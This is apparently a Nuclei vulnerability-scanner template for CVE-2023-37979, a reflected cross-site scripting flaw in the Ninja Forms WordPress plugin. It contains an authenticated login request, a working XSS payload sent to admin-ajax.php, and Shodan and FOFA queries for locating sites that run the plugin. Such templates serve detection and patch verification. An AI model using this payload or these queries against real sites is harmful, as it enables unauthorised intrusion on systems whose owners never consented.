id: CVE-2023-37979 info: name: Ninja Forms < 3.6.26 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin remediation: Fixed in version 3.6.26 reference: - https://nvd.nist.gov/vuln/detail/CVE-2023-37979 - https://wpscan.com/vulnerability/3c7c65e9-c4fd-4d98-ae16-77abffbf7348 - https://packetstormsecurity.com/files/173983/WordPress-Ninja-Forms-3.6.25-Cross-Site-Scripting.html - http://packetstormsecurity.com/files/173983/WordPress-Ninja-Forms-3.6.25-Cross-Site-Scripting.html - https://patchstack.com/articles/multiple-high-severity-vulnerabilities-in-ninja-forms-plugin?_s_id=cve classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-37979 cwe-id: CWE-79 epss-score: 0.00085 epss-percentile: 0.3599 cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: ninjaforms product: ninja_forms framework: wordpress shodan-query: http.html:/wp-content/plugins/ninja-forms/ fofa-query: body=/wp-content/plugins/ninja-forms/ publicwww-query: /wp-content/plugins/ninja-forms/ tags: cve2023,cve,wpscan,packetstorm,xss,wordpress,authenticated,wp-plugin,wp,ninjaforms http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=nf_batch_process&batch_type=import_form_template&extraData%5Btemplate%5D=formtemplate-contactformd&method_override=_respond&data=Mehran%7D%7D%3Cimg+src%3Donerror%3Dalert%28document.domain%29%3E matchers: - type: dsl dsl: - 'contains(content_type_2, "text/html")' - 'contains(body_2, "") && contains(body_2, "import_form_template")' - 'status_code_2 == 200' condition: and # digest: 4a0a00473045022051ec230e42ab3d71b2df53e401ba10a6682241d7989e90d7011432f85b6c166902210084f6c6e8762f3a08a4ccce739038532489a572defba5e4e59c17d34a9470de42:922c64590222798bb761d5b6d8e72950